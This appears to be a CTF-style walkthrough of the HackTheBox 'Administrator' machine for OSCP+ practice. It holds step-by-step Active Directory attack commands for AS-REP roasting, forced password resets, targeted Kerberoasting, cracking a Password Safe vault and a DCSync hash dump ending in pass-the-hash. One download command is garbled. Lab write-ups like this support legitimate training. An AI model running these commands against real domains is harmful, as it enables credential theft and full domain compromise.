>h4ck0rdev_

oscp+ prep, hackthebox administrator speedrun

An end-to-end Active Directory speedrun on HackTheBox Administrator. ACL chaining from Olivia all the way to Domain Admin via GenericAll, ForceChangePassword, AS-REP roast, FTP creds, and a final DCSync.

·3 min read·intermediate#oscp#htb#active-directory#speedrun
HN
← all tutorials

Active Directory is a huge slice of OSCP+. This is a full ACL-chain speedrun on HackTheBox Administrator, where we land as Olivia, walk through GenericAll, ForceChangePassword, WriteOwner-style abuses, an AS-REP roast, an FTP-stashed Password Safe, and finish with a DCSync to dump the domain.

Recon and initial foothold

We're handed credentials, just like in the OSCP, so we skip straight to validation. Run a port scan ahead of time so you don't waste minutes during the exam.

$nxc smb $IP -u olivia -p '[password]'

Confirmed. Olivia is also a remote management user, so:

$evil-winrm -i $IP -u olivia -p '[password]'

We have a shell as Olivia.

Enumerate ACLs

Pull every LDAP object and relationship into clean HTML:

$ldapdomaindump -u 'admin.htb\olivia' -p '[password]' $IP

For ACL hunting, PowerView is faster than BloodHound when you already know what you're looking for. Pull it down to the box:

$iwr ,[object Object], -OutFile PowerView.ps1; . .\PowerView.ps1

Then the magic function:

$Find-InterestingDomainAcl

This dumps every ACE set on a non-default object. The chain we care about:

  • Ethan has extended rights on the DC (DS-Replication, i.e. DCSync candidate).
  • Alesy has GenericWrite on Ethan.
  • Michael has extended rights on Benjamin.
  • Olivia has GenericAll on Michael.

Some of those extended rights show up as raw GUIDs. Resolve them:

$Get-ObjectAcl -ResolveGUIDs -SecurityIdentifier [olivia-SID]

Olivia → Michael is GenericAll. Michael → Benjamin is User-Force-Change-Password. Ethan has DS-Replication-Get-Changes (DCSync). Now we just need a path from Benjamin to Emily, then Emily to Ethan.

Olivia → Michael (GenericAll)

GenericAll lets us rewrite Michael's LDAP record any way we want. Instead of just resetting his password, we'll do a targeted AS-REP roast: flip the DONT_REQ_PREAUTH flag on the account.

$bloodyAD --host $IP -d admin.htb -u olivia -p '[password]' add uac michael -f DONT_REQ_PREAUTH

Now request the AS-REP hash:

$echo michael > michael.txt && impacket-GetNPUsers admin.htb/ -dc-ip $IP -usersfile michael.txt -no-pass

Crack it (or, if it's not in rockyou, just reset Michael's password):

$hashcat -m 18200 michael.hash /usr/share/wordlists/rockyou.txt

Mine wasn't crackable, so:

$bloodyAD --host $IP -d admin.htb -u olivia -p '[password]' set password michael '12345678'

Validate:

$nxc smb $IP -u michael -p '12345678'

Green plus, we own Michael.

Michael → Benjamin (ForceChangePassword)

Same move, different right. User-Force-Change-Password only allows password resets:

$bloodyAD --host $IP -d admin.htb -u michael -p '12345678' set password benjamin '12345678'
$nxc smb $IP -u benjamin -p '12345678'

Owned.

Benjamin → Emily (Password Safe over FTP)

Looking at Benjamin's group membership, he's in Share Moderators. Combine that with the unusual FTP service on this AD box:

$ftp $IP

Inside is backup.psafe3, a Password Safe vault. Hashcat has a mode for these:

$hashcat -m 5200 backup.psafe3 /usr/share/wordlists/rockyou.txt

Master password recovered. Open the vault on Kali:

$pwsafe backup.psafe3

Inside, Emily Rodriguez's credentials. Validate:

$nxc smb $IP -u emily -p '[emily-pass]'

Owned.

Emily → Ethan (GenericWrite, targeted Kerberoast)

Emily has GenericWrite, not GenericAll, so we can't just reset Ethan's password. The trick is to set an SPN on his account, which makes it Kerberoastable.

$bloodyAD --host $IP -d admin.htb -u emily -p '[emily-pass]' add spn ethan 'HTTP/whatever'

Now request the TGS:

$impacket-GetUserSPNs admin.htb/emily:'[emily-pass]' -dc-ip $IP -request -outputfile hashes.kerb

Crack:

$hashcat -m 13100 hashes.kerb /usr/share/wordlists/rockyou.txt

limpbiscuit. Validate:

$nxc smb $IP -u ethan -p 'limpbiscuit'

Owned.

DCSync

Ethan has DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. That's everything we need:

$impacket-secretsdump admin.htb/ethan:'limpbiscuit'@$IP

Administrator NT hash drops out. Pass-the-hash and we're done:

$evil-winrm -i $IP -u administrator -H [admin-nthash]

whoami → admin\administrator.

Takeaways

  • Map the chain before you execute. Drawing the graph makes the rest mechanical.
  • GenericAll is total control of the LDAP record (password reset, UAC flip, anything). ForceChangePassword is only password reset. GenericWrite lets you write attributes (like SPN) but not reset the password directly.
  • Targeted AS-REP (set DONT_REQ_PREAUTH) and targeted Kerberoast (set an SPN) are the two big "use the right write to get a crackable hash" tricks. Keep them in muscle memory.
  • DCSync is just a pair of replication extended rights. Watch for them in Find-InterestingDomainAcl.

// share

HN